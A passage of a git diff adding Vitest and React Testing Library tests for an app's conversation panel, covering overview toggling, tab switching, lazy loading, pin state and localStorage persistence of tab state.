+      hasRightPanelToggled: false,
+    });
+  });
+
+  it("toggles the overview panel when clicked", async () => {
+    const user = userEvent.setup();
+    render(<ConversationOverviewToggle />);
+
+    await user.click(screen.getByTestId("conversation-overview-toggle"));
+    expect(useConversationStore.getState().isOverviewPanelShown).toBe(true);
+
+    await user.click(screen.getByTestId("conversation-overview-toggle"));
+    expect(useConversationStore.getState().isOverviewPanelShown).toBe(false);
+  });
+
+  it("closes the files drawer and shows overview when the files drawer is open", async () => {
+    const user = userEvent.setup();
+    useConversationStore.setState({
+      isOverviewPanelShown: false,
+      isRightPanelShown: true,
+      hasRightPanelToggled: true,
+    });
+    render(<ConversationOverviewToggle />);
+
+    await user.click(screen.getByTestId("conversation-overview-toggle"));
+
+    const state = useConversationStore.getState();
+    expect(state.isRightPanelShown).toBe(false);
+    expect(state.hasRightPanelToggled).toBe(false);
+    expect(state.isOverviewPanelShown).toBe(true);
+  });
+
+  it("closes the overview panel when the right drawer opens", () => {
+    useConversationStore.setState({
+      isOverviewPanelShown: true,
+      isRightPanelShown: false,
+    });
+
+    const { rerender } = render(<ConversationOverviewToggle />);
+    expect(useConversationStore.getState().isOverviewPanelShown).toBe(true);
+
+    useConversationStore.setState({ isRightPanelShown: true });
+    rerender(<ConversationOverviewToggle />);
+
+    expect(useConversationStore.getState().isOverviewPanelShown).toBe(false);
+  });
+
+  it("peeks the overview on hover while the right drawer is open", async () => {
+    const user = userEvent.setup();
+    useConversationStore.setState({
+      isOverviewPanelShown: false,
+      isRightPanelShown: true,
+    });
+    render(<ConversationOverviewToggle />);
+
+    await user.hover(screen.getByTestId("conversation-overview-toggle"));
+
+    expect(useConversationStore.getState().isOverviewPanelPeeked).toBe(true);
+    expect(useConversationStore.getState().isOverviewPanelShown).toBe(false);
+    expect(screen.getByTestId("conversation-overview-peek")).toBeInTheDocument();
+    expect(
+      screen.getByTestId("conversation-overview-panel"),
+    ).toBeInTheDocument();
+  });
+
+  it("does not peek the overview on hover when the right drawer is closed", async () => {
+    const user = userEvent.setup();
+    render(<ConversationOverviewToggle />);
+
+    await user.hover(screen.getByTestId("conversation-overview-toggle"));
+
+    expect(useConversationStore.getState().isOverviewPanelPeeked).toBe(false);
+    expect(
+      screen.queryByTestId("conversation-overview-peek"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("stays visible and supports hover peek on smaller screens", async () => {
+    const user = userEvent.setup();
+    breakpointIsMobile.value = true;
+    useConversationStore.setState({
+      isOverviewPanelShown: false,
+      isRightPanelShown: true,
+    });
+    render(<ConversationOverviewToggle />);
+
+    const toggle = screen.getByTestId("conversation-overview-toggle");
+    expect(toggle).toBeInTheDocument();
+
+    await user.hover(toggle);
+
+    expect(useConversationStore.getState().isOverviewPanelPeeked).toBe(true);
+    expect(screen.getByTestId("conversation-overview-peek")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-tab-content-crossfade.test.tsx b/__tests__/components/features/conversation/conversation-tab-content-crossfade.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..38b8fc7e5c3f777e9237a3481a56c65c73cf87f5
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-tab-content-crossfade.test.tsx
@@ -0,0 +1,15 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { ConversationTabContentCrossfade } from "#/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content-crossfade";
+
+describe("ConversationTabContentCrossfade", () => {
+  it("renders the tab content when not loading", () => {
+    render(
+      <ConversationTabContentCrossfade showAgentLoading={false} tabKey="files">
+        <div data-testid="tab-child" />
+      </ConversationTabContentCrossfade>,
+    );
+
+    expect(screen.getByTestId("tab-child")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-tab-content.test.tsx b/__tests__/components/features/conversation/conversation-tab-content.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..bae5fb21e53cddf777456dc04a574d588d3eaaa2
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-tab-content.test.tsx
@@ -0,0 +1,280 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { MemoryRouter } from "react-router";
+import { ConversationTabContent } from "#/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content";
+import {
+  useConversationStore,
+  ConversationTab,
+} from "#/stores/conversation-store";
+
+// Mock useConversationId hook
+let mockConversationId = "test-conversation-id-123";
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+  useConversationId: () => ({
+    conversationId: mockConversationId,
+  }),
+}));
+
+
+
+// Mock lazy-loaded components
+vi.mock("#/routes/files-tab", () => ({
+  default: () => <div data-testid="files-tab-content">Files Tab Content</div>,
+}));
+
+// Control for lazy loading test
+let pendingBrowserTab: { promise: Promise<void>; resolve: () => void } | null = null;
+vi.mock("#/routes/browser-tab", () => ({
+  default: () => {
+    if (pendingBrowserTab) {
+      throw pendingBrowserTab.promise;
+    }
+    return <div data-testid="browser-tab-content">Browser Tab Content</div>;
+  },
+}));
+
+vi.mock("#/routes/planner-tab", () => ({
+  default: () => (
+    <div data-testid="planner-tab-content">Planner Tab Content</div>
+  ),
+}));
+
+vi.mock("#/components/features/terminal/terminal", () => ({
+  default: () => (
+    <div data-testid="terminal-tab-content">Terminal Tab Content</div>
+  ),
+}));
+
+// Mock ConversationLoading component
+vi.mock("#/components/features/conversation/conversation-loading", () => ({
+  ConversationLoading: () => (
+    <div data-testid="conversation-loading">Loading...</div>
+  ),
+}));
+
+describe("ConversationTabContent", () => {
+  let queryClient: QueryClient;
+
+  const createWrapper = () => {
+    return ({ children }: { children: React.ReactNode }) => (
+      <MemoryRouter initialEntries={["/conversations/test-conversation-id"]}>
+        <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+      </MemoryRouter>
+    );
+  };
+
+  const setSelectedTab = (tab: ConversationTab | null) => {
+    useConversationStore.setState({ selectedTab: tab });
+  };
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: {
+          retry: false,
+        },
+      },
+    });
+    // Reset store state
+    useConversationStore.setState({ selectedTab: "files" });
+    // Reset conversation ID
+    mockConversationId = "test-conversation-id-123";
+  });
+
+  afterEach(() => {
+    vi.clearAllMocks();
+    queryClient.clear();
+  });
+
+  describe("Rendering", () => {
+    it("should render files tab content by default", async () => {
+      setSelectedTab("files");
+
+      render(<ConversationTabContent />, { wrapper: createWrapper() });
+
+      await waitFor(() => {
+        expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
+      });
+    });
+
+    it("should render files tab when selectedTab is null", async () => {
+      setSelectedTab(null);
+
+      render(<ConversationTabContent />, { wrapper: createWrapper() });
+
+      await waitFor(() => {
+        expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
+      });
+    });
+  });
+
+  describe("Tab switching", () => {
+    it("should render browser tab when selected", async () => {
+      setSelectedTab("browser");
+
+      render(<ConversationTabContent />, { wrapper: createWrapper() });
+
+      await waitFor(() => {
+        expect(screen.getByTestId("browser-tab-content")).toBeInTheDocument();
+      });
+    });
+
+    it("should render terminal tab when selected", async () => {
+      setSelectedTab("terminal");
+
+      render(<ConversationTabContent />, { wrapper: createWrapper() });
+
+      await waitFor(() => {
+        expect(screen.getByTestId("terminal-tab-content")).toBeInTheDocument();
+      });
+    });
+
+    it("should render planner tab when selected", async () => {
+      setSelectedTab("planner");
+
+      render(<ConversationTabContent />, { wrapper: createWrapper() });
+
+      await waitFor(() => {
+        expect(screen.getByTestId("planner-tab-content")).toBeInTheDocument();
+      });
+    });
+  });
+
+  describe("Tab key behavior", () => {
+    it("should remount terminal when conversation ID changes", async () => {
+      setSelectedTab("terminal");
+
+      const { rerender } = render(<ConversationTabContent />, {
+        wrapper: createWrapper(),
+      });
+
+      await waitFor(() => {
+        expect(screen.getByTestId("terminal-tab-content")).toBeInTheDocument();
+      });
+
+      // Get reference to the terminal DOM node
+      const terminalBefore = screen.getByTestId("terminal-tab-content");
+
+      // Change conversation ID
+      mockConversationId = "test-conversation-id-456";
+
+      // Rerender to pick up the new conversation ID
+      rerender(<ConversationTabContent />);
+
+      await waitFor(() => {
+        expect(screen.getByTestId("terminal-tab-content")).toBeInTheDocument();
+      });
+
+      // Get new reference
+      const terminalAfter = screen.getByTestId("terminal-tab-content");
+
+      // If key includes conversation ID, component should remount = different DOM node
+      expect(terminalBefore).not.toBe(terminalAfter);
+    });
+
+    it("should NOT remount non-terminal tabs when conversation ID changes", async () => {
+      setSelectedTab("browser");
+
+      const { rerender } = render(<ConversationTabContent />, {
+        wrapper: createWrapper(),
+      });
+
+      await waitFor(() => {
+        expect(screen.getByTestId("browser-tab-content")).toBeInTheDocument();
+      });
+
+      // Get reference to the browser DOM node
+      const browserBefore = screen.getByTestId("browser-tab-content");
+
+      // Change conversation ID
+      mockConversationId = "test-conversation-id-789";
+
+      // Rerender
+      rerender(<ConversationTabContent />);
+
+      await waitFor(() => {
+        expect(screen.getByTestId("browser-tab-content")).toBeInTheDocument();
+      });
+
+      // Get new reference
+      const browserAfter = screen.getByTestId("browser-tab-content");
+
+      // If key does NOT include conversation ID, component should NOT remount = same DOM node
+      expect(browserBefore).toBe(browserAfter);
+    });
+  });
+
+  describe("Lazy loading", () => {
+    afterEach(() => {
+      pendingBrowserTab = null;
+    });
+
+    it("should show loading fallback while component is loading", async () => {
+      let resolveFn: () => void;
+      pendingBrowserTab = {
+        promise: new Promise<void>((resolve) => {
+          resolveFn = resolve;
+        }),
+        resolve: () => {
+          pendingBrowserTab = null; // Clear first so re-render doesn't throw again
+          resolveFn();
+        },
+      };
+
+      setSelectedTab("browser");
+
+      render(<ConversationTabContent />, { wrapper: createWrapper() });
+
+      // Verify loading fallback is shown
+      expect(screen.getByTestId("conversation-loading")).toBeInTheDocument();
+
+      // Resolve to load the component
+      pendingBrowserTab!.resolve();
+
+      // Verify content appears
+      await waitFor(() => {
+        expect(screen.getByTestId("browser-tab-content")).toBeInTheDocument();
+      });
+    });
+  });
+
+  describe("Tab state persistence", () => {
+    it("should render content based on store state", async () => {
+      // First render with files tab
+      setSelectedTab("files");
+
+      const { rerender } = render(<ConversationTabContent />, {
+        wrapper: createWrapper(),
+      });
+
+      await waitFor(() => {
+        expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
+      });
+
+      // Change the store state
+      setSelectedTab("terminal");
+
+      // Rerender
+      rerender(<ConversationTabContent />);
+
+      await waitFor(() => {
+        expect(screen.getByTestId("terminal-tab-content")).toBeInTheDocument();
+      });
+    });
+  });
+
+  describe("Suspense boundary", () => {
+    it("should wrap tab content in Suspense boundary", async () => {
+      setSelectedTab("files");
+
+      render(<ConversationTabContent />, { wrapper: createWrapper() });
+
+      // The component should render without throwing
+      await waitFor(() => {
+        expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
+      });
+    });
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx b/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..53dacf79d7ef0ff02c17451e4937d3c82d059d6f
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx
@@ -0,0 +1,173 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { ConversationTabsContextMenu } from "#/components/features/conversation/conversation-tabs/conversation-tabs-context-menu";
+import { useConversationStore } from "#/stores/conversation-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import {
+  ACTIVE_BACKEND_STORAGE_KEY,
+  BACKENDS_STORAGE_KEY,
+} from "#/api/backend-registry/storage";
+import type { Backend } from "#/api/backend-registry/types";
+
+const CONVERSATION_ID = "conv-abc123";
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: CONVERSATION_ID }),
+  useConversationId: () => ({ conversationId: CONVERSATION_ID }),
+}));
+
+let mockHasTaskList = false;
+vi.mock("#/hooks/use-task-list", () => ({
+  useTaskList: () => ({
+    hasTaskList: mockHasTaskList,
+    taskList: [],
+  }),
+}));
+
+vi.mock("#/hooks/use-is-archived-conversation", () => ({
+  useIsArchivedConversation: () => false,
+}));
+
+function seedActiveBackend(backend: Backend): void {
+  localStorage.setItem(BACKENDS_STORAGE_KEY, JSON.stringify([backend]));
+  localStorage.setItem(
+    ACTIVE_BACKEND_STORAGE_KEY,
+    JSON.stringify({ backendId: backend.id, orgId: null }),
+  );
+  __resetActiveStoreForTests();
+}
+
+describe("ConversationTabsContextMenu", () => {
+  beforeEach(() => {
+    localStorage.clear();
+    __resetActiveStoreForTests();
+    mockHasTaskList = false;
+    useConversationStore.setState({
+      selectedTab: "files",
+      isRightPanelShown: true,
+      hasRightPanelToggled: true,
+    });
+  });
+
+  it("should render nothing when isOpen is false", () => {
+    const { container } = render(
+      <ConversationTabsContextMenu isOpen={false} onClose={vi.fn()} />,
+    );
+
+    expect(container.innerHTML).toBe("");
+  });
+
+  it("should render all default tabs when open", () => {
+    render(<ConversationTabsContextMenu isOpen={true} onClose={vi.fn()} />);
+
+    const expectedTabs = [
+      "COMMON$FILES",
+      "DIFF_VIEWER$COMMITS",
+      "COMMON$TERMINAL",
+      "COMMON$BROWSER",
+      // Local planning is now supported, so the Planner tab is a default tab.
+      "COMMON$PLANNER",
+    ];
+    for (const tab of expectedTabs) {
+      expect(screen.getByText(tab)).toBeInTheDocument();
+    }
+
+    expect(screen.queryByText("FILES$DIFF_VIEW")).not.toBeInTheDocument();
+  });
+
+  it("should show the Planner entry when the active backend is cloud", () => {
+    seedActiveBackend({
+      id: "cloud-test",
+      name: "Cloud Test",
+      host: "https://app.example.com",
+      apiKey: "secret",
+      kind: "cloud",
+    });
+
+    render(
+      <ActiveBackendProvider>
+        <ConversationTabsContextMenu isOpen={true} onClose={vi.fn()} />
+      </ActiveBackendProvider>,
+    );
+
+    expect(screen.getByText("COMMON$PLANNER")).toBeInTheDocument();
+  });
+
+  it("should open a tab from the label button without changing pin state", async () => {
+    const user = userEvent.setup();
+
+    render(<ConversationTabsContextMenu isOpen={true} onClose={vi.fn()} />);
+
+    await user.click(screen.getByTestId("conversation-tabs-menu-open-terminal"));
+
+    expect(useConversationStore.getState().selectedTab).toBe("terminal");
+    const storedState = JSON.parse(
+      localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!,
+    );
+    expect(storedState.unpinnedTabs).toEqual([]);
+  });
+
+  it("should re-pin a tab when clicking the pin control on an unpinned tab", async () => {
+    const user = userEvent.setup();
+
+    render(<ConversationTabsContextMenu isOpen={true} onClose={vi.fn()} />);
+
+    await user.click(screen.getByTestId("conversation-tabs-menu-pin-terminal"));
+    let storedState = JSON.parse(
+      localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!,
+    );
+    expect(storedState.unpinnedTabs).toContain("terminal");
+
+    await user.click(screen.getByTestId("conversation-tabs-menu-pin-terminal"));
+    storedState = JSON.parse(
+      localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!,
+    );
+    expect(storedState.unpinnedTabs).not.toContain("terminal");
+  });
+
+  it("should switch to another pinned tab when unpinning the currently active tab via pin control", async () => {
+    const user = userEvent.setup();
+
+    render(<ConversationTabsContextMenu isOpen={true} onClose={vi.fn()} />);
+
+    expect(useConversationStore.getState().selectedTab).toBe("files");
+
+    await user.click(screen.getByTestId("conversation-tabs-menu-pin-files"));
+
+    const storeState = useConversationStore.getState();
+    expect(storeState.hasRightPanelToggled).toBe(true);
+    // Planner is first in the tab order, so it becomes active when files unpins.
+    expect(storeState.selectedTab).toBe("planner");
+
+    const storedState = JSON.parse(
+      localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!,
+    );
+    expect(storedState.unpinnedTabs).toContain("files");
+    expect(storedState.selectedTab).toBe("planner");
+  });
+
+  it("should not close the right panel when unpinning a non-active tab", async () => {
+    const user = userEvent.setup();
+
+    render(<ConversationTabsContextMenu isOpen={true} onClose={vi.fn()} />);
+
+    await user.click(screen.getByTestId("conversation-tabs-menu-pin-terminal"));
+
+    const storeState = useConversationStore.getState();
+    expect(storeState.hasRightPanelToggled).toBe(true);
+  });
+
+  describe("with tasklist", () => {
+    beforeEach(() => {
+      mockHasTaskList = true;
+    });
+
+    it("should show tasklist in context menu when hasTaskList is true", () => {
+      render(<ConversationTabsContextMenu isOpen={true} onClose={vi.fn()} />);
+
+      expect(screen.getByText("COMMON$TASK_LIST")).toBeInTheDocument();
+    });
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-tabs.test.tsx b/__tests__/components/features/conversation/conversation-tabs.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..f65df72e749cdaf273817758e529e233cbca0efc
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-tabs.test.tsx
@@ -0,0 +1,674 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { MemoryRouter } from "react-router";
+import { ConversationTabs } from "#/components/features/conversation/conversation-tabs/conversation-tabs";
+import { useConversationStore } from "#/stores/conversation-store";
+import { AgentState } from "#/types/agent-state";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import {
+  ACTIVE_BACKEND_STORAGE_KEY,
+  BACKENDS_STORAGE_KEY,
+} from "#/api/backend-registry/storage";
+import type { Backend } from "#/api/backend-registry/types";
+
+const TASK_CONVERSATION_ID = "task-ec03fb2ab8604517b24af632b058c2fd";
+const REAL_CONVERSATION_ID = "conv-abc123";
+
+let mockConversationId = TASK_CONVERSATION_ID;
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: mockConversationId }),
+  useConversationId: () => ({ conversationId: mockConversationId }),
+}));
+
+let mockHasTaskList = false;
+vi.mock("#/hooks/use-task-list", () => ({
+  useTaskList: () => ({
+    hasTaskList: mockHasTaskList,
+    taskList: [],
+  }),
+}));
+
+const mockRefetchGitChanges = vi.fn();
+let mockIsFetchingGitChanges = false;
+vi.mock("#/hooks/query/use-unified-get-git-changes", () => ({
+  useUnifiedGetGitChanges: () => ({
+    refetch: mockRefetchGitChanges,
+    isFetching: mockIsFetchingGitChanges,
+    data: [],
+  }),
+}));
+
+const mockHandleBuildPlanClick = vi.fn();
+vi.mock("#/hooks/use-handle-build-plan-click", () => ({
+  useHandleBuildPlanClick: () => ({
+    handleBuildPlanClick: mockHandleBuildPlanClick,
+  }),
+}));
+
+let mockCurAgentState = AgentState.AWAITING_USER_INPUT;
+vi.mock("#/hooks/use-agent-state", () => ({
+  useAgentState: () => ({ curAgentState: mockCurAgentState }),
+  usePlanningAgentState: () => ({
+    localPlanningConversationId: null,
+    curPlanningAgentState: AgentState.AWAITING_USER_INPUT,
+    isPlanningAgentRunning: false,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-unified-vscode-url", () => ({
+  useUnifiedVSCodeUrl: () => ({
+    data: { url: "http://localhost:8001", error: null },
+    isLoading: false,
+    refetch: vi
+      .fn()
+      .mockResolvedValue({ data: { url: "http://localhost:8001" } }),
+  }),
+}));
+
+const createWrapper = (conversationId: string) =>
+  function ({ children }: { children: React.ReactNode }) {
+    return (
+      <MemoryRouter initialEntries={[`/conversations/${conversationId}`]}>
+        <QueryClientProvider client={new QueryClient()}>
+          <ActiveBackendProvider>{children}</ActiveBackendProvider>
+        </QueryClientProvider>
+      </MemoryRouter>
+    );
+  };
+
+const seedConversationState = (
+  conversationId: string,
+  overrides: Record<string, unknown> = {},
+) => {
+  localStorage.setItem(
+    `conversation-state-${conversationId}`,
+    JSON.stringify({
+      selectedTab: "files",
+      unpinnedTabs: [],
+      unpinnedOverviewSections: [],
+      unpinnedOverviewGitParts: [],
+      conversationMode: "code",
+      subConversationTaskId: null,
+      draftMessage: null,
+      ...overrides,
+    }),
+  );
+};
+
+function seedActiveBackend(backend: Backend): void {
+  localStorage.setItem(BACKENDS_STORAGE_KEY, JSON.stringify([backend]));
+  localStorage.setItem(
+    ACTIVE_BACKEND_STORAGE_KEY,
+    JSON.stringify({ backendId: backend.id, orgId: null }),
+  );
+  __resetActiveStoreForTests();
+}
+
+const setActiveTabState = (tab: "files" | "planner") => {
+  seedConversationState(REAL_CONVERSATION_ID, {
+    selectedTab: tab,
+    rightPanelShown: true,
+  });
+  useConversationStore.setState({
+    selectedTab: tab,
+    isRightPanelShown: true,
+    hasRightPanelToggled: true,
+  });
+};
+
+describe("ConversationTabs localStorage behavior", () => {
+  beforeEach(() => {
+    localStorage.clear();
+    __resetActiveStoreForTests();
+    vi.resetAllMocks();
+    mockRefetchGitChanges.mockReset();
+    mockHandleBuildPlanClick.mockReset();
+    mockConversationId = TASK_CONVERSATION_ID;
+    mockHasTaskList = false;
+    mockIsFetchingGitChanges = false;
+    mockCurAgentState = AgentState.AWAITING_USER_INPUT;
+    useConversationStore.setState({
+      selectedTab: null,
+      isRightPanelShown: false,
+      hasRightPanelToggled: false,
+      planContent: null,
+    });
+  });
+
+  describe("task-prefixed conversation IDs", () => {
+    it("should not create localStorage entries for task-prefixed conversation IDs", () => {
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(TASK_CONVERSATION_ID),
+      });
+
+      expect(
+        localStorage.getItem(`conversation-state-${TASK_CONVERSATION_ID}`),
+      ).toBeNull();
+    });
+  });
+
+  describe("consolidated localStorage key", () => {
+    it("should use a single consolidated key for tab state", async () => {
+      mockConversationId = REAL_CONVERSATION_ID;
+      const user = userEvent.setup();
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      const changesTab = screen.getByTestId("conversation-tab-files");
+      await user.click(changesTab);
+
+      const consolidatedKey = `conversation-state-${REAL_CONVERSATION_ID}`;
+      const storedState = localStorage.getItem(consolidatedKey);
+      expect(storedState).not.toBeNull();
+
+      const parsed = JSON.parse(storedState!);
+      expect(parsed).toHaveProperty("selectedTab");
+      expect(parsed).toHaveProperty("unpinnedTabs");
+      expect(parsed.rightPanelShown).toBe(true);
+    });
+  });
+
+  describe("hook integration", () => {
+    it("should open panel and select tab when clicking a tab while panel is closed", async () => {
+      mockConversationId = REAL_CONVERSATION_ID;
+      const user = userEvent.setup();
+
+      // Arrange: Panel is closed, no tab selected
+      useConversationStore.setState({
+        selectedTab: null,
+        isRightPanelShown: false,
+        hasRightPanelToggled: false,
+      });
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      // Act: Click the terminal tab
+      const terminalTab = screen.getByTestId("conversation-tab-terminal");
+      await user.click(terminalTab);
+
+      // Assert: Panel should be open and terminal tab selected.
+      expect(useConversationStore.getState().selectedTab).toBe("terminal");
+      expect(useConversationStore.getState().hasRightPanelToggled).toBe(true);
+
+      const storedState = JSON.parse(
+        localStorage.getItem(`conversation-state-${REAL_CONVERSATION_ID}`)!,
+      );
+      expect(storedState.selectedTab).toBe("terminal");
+      expect(storedState.rightPanelShown).toBe(true);
+    });
+
+    it("should close panel when clicking the same active tab", async () => {
+      mockConversationId = REAL_CONVERSATION_ID;
+      const user = userEvent.setup();
+
+      // Arrange: Panel is open with editor tab selected
+      seedConversationState(REAL_CONVERSATION_ID, {
+        selectedTab: "files",
+        rightPanelShown: true,
+      });
+      useConversationStore.setState({
+        selectedTab: "files",
+        isRightPanelShown: true,
+        hasRightPanelToggled: true,
+      });
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      // Act: Click the editor tab again
+      const editorTab = screen.getByTestId("conversation-tab-files");
+      await user.click(editorTab);
+
+      // Assert: Panel should be closed and persisted.
+      expect(useConversationStore.getState().hasRightPanelToggled).toBe(false);
+
+      const storedState = JSON.parse(
+        localStorage.getItem(`conversation-state-${REAL_CONVERSATION_ID}`)!,
+      );
+      expect(storedState.rightPanelShown).toBe(false);
+    });
+
+    it("should switch to different tab when clicking another tab while panel is open", async () => {
+      mockConversationId = REAL_CONVERSATION_ID;
+      const user = userEvent.setup();
+
+      // Arrange: Panel is open with editor tab selected
+      seedConversationState(REAL_CONVERSATION_ID, {
+        selectedTab: "files",
+        rightPanelShown: true,
+      });
+      useConversationStore.setState({
+        selectedTab: "files",
+        isRightPanelShown: true,
+        hasRightPanelToggled: true,
+      });
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      // Act: Click the browser tab
+      const browserTab = screen.getByTestId("conversation-tab-browser");
+      await user.click(browserTab);
+
+      // Assert: Browser tab should be selected, panel still open
+      expect(useConversationStore.getState().selectedTab).toBe("browser");
+      expect(useConversationStore.getState().hasRightPanelToggled).toBe(true);
+
+      // Verify localStorage was updated
+      const storedState = JSON.parse(
+        localStorage.getItem(`conversation-state-${REAL_CONVERSATION_ID}`)!,
+      );
+      expect(storedState.selectedTab).toBe("browser");
+    });
+  });
+
+  describe("tab action buttons", () => {
+    beforeEach(() => {
+      mockConversationId = REAL_CONVERSATION_ID;
+    });
+
+    it("no longer renders the refresh button in the top tab bar (it now lives inside the Files tab toolbar)", () => {
+      setActiveTabState("files");
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      // The old conversation-tabs refresh button used aria-label "COMMON$FILES"
+      // on a top-bar <button>. Our `conversation-tab-files` button uses a
+      // different DOM shape, so any <button> matching that aria-label here
+      // would be the legacy refresh button.
+      const buttons = Array.from(
+        document.querySelectorAll('button[aria-label="COMMON$FILES"]'),
+      );
+      // The only remaining match should be the tab nav itself (a button with
+      // data-testid conversation-tab-files), if anything. There must be no
+      // standalone refresh button.
+      const refreshButtons = buttons.filter(
+        (b) => b.getAttribute("data-testid") !== "conversation-tab-files",
+      );
+      expect(refreshButtons).toHaveLength(0);
+    });
+
+    it("places the Files tab leftmost, followed by Commits", () => {
+      setActiveTabState("files");
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      const tabs = Array.from(
+        document.querySelectorAll('[data-testid^="conversation-tab-"]'),
+      );
+      const testIds = tabs.map((t) => t.getAttribute("data-testid"));
+      // Files must be the first tab; Commits sits beside it as the git view.
+      expect(testIds[0]).toBe("conversation-tab-files");
+      expect(testIds).toContain("conversation-tab-commits");
+      expect(testIds).not.toContain("conversation-tab-changes");
+      expect(testIds.indexOf("conversation-tab-files")).toBeLessThan(
+        testIds.indexOf("conversation-tab-commits"),
+      );
+    });
+
+    it("keeps Files leftmost even when the task list tab is present", () => {
+      setActiveTabState("files");
+      mockHasTaskList = true;
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      const tabs = Array.from(
+        document.querySelectorAll('[data-testid^="conversation-tab-"]'),
+      );
+      const testIds = tabs.map((t) => t.getAttribute("data-testid"));
+      expect(testIds[0]).toBe("conversation-tab-files");
+      // Task list should still be visible, just not first.
+      expect(testIds).toContain("conversation-tab-tasklist");
+    });
+
+    it("shows an unpinned tab in the bar while it is selected", () => {
+      mockConversationId = REAL_CONVERSATION_ID;
+      // Planner is cloud-only, so a cloud backend is required to exercise
+      // the unpinned-while-selected logic against the planner tab.
+      seedActiveBackend({
+        id: "cloud-test",
+        name: "Cloud Test",
+        host: "https://app.example.com",
+        apiKey: "secret",
+        kind: "cloud",
+      });
+      seedConversationState(REAL_CONVERSATION_ID, {
+        selectedTab: "planner",
+        unpinnedTabs: ["planner"],
+        rightPanelShown: true,
+      });
+      useConversationStore.setState({
+        selectedTab: "planner",
+        isRightPanelShown: true,
+        hasRightPanelToggled: true,
+      });
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      expect(
+        screen.getByTestId("conversation-tab-planner"),
+      ).toBeInTheDocument();
+    });
+
+    it("hides an unpinned tab from the bar once another tab is selected", () => {
+      mockConversationId = REAL_CONVERSATION_ID;
+      // Cloud backend so the planner tab would be eligible — it stays
+      // hidden here because it is unpinned and not the selected tab.
+      seedActiveBackend({
+        id: "cloud-test",
+        name: "Cloud Test",
+        host: "https://app.example.com",
+        apiKey: "secret",
+        kind: "cloud",
+      });
+      seedConversationState(REAL_CONVERSATION_ID, {
+        selectedTab: "files",
+        unpinnedTabs: ["planner"],
+        rightPanelShown: true,
+      });
+      useConversationStore.setState({
+        selectedTab: "files",
+        isRightPanelShown: true,
+        hasRightPanelToggled: true,
+      });
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      expect(
+        screen.queryByTestId("conversation-tab-planner"),
+      ).not.toBeInTheDocument();
+      expect(screen.getByTestId("conversation-tab-files")).toBeInTheDocument();
+    });
+
+    it("does not show the build button when the planner tab is inactive", () => {
+      setActiveTabState("files");
+      useConversationStore.setState({
+        planContent: "# Plan content",
+      });
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      expect(
+        screen.queryByTestId("planner-tab-build-button"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("shows the build button when the planner tab is active", async () => {
+      setActiveTabState("planner");
+      useConversationStore.setState({
+        planContent: "# Plan content",
+      });
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
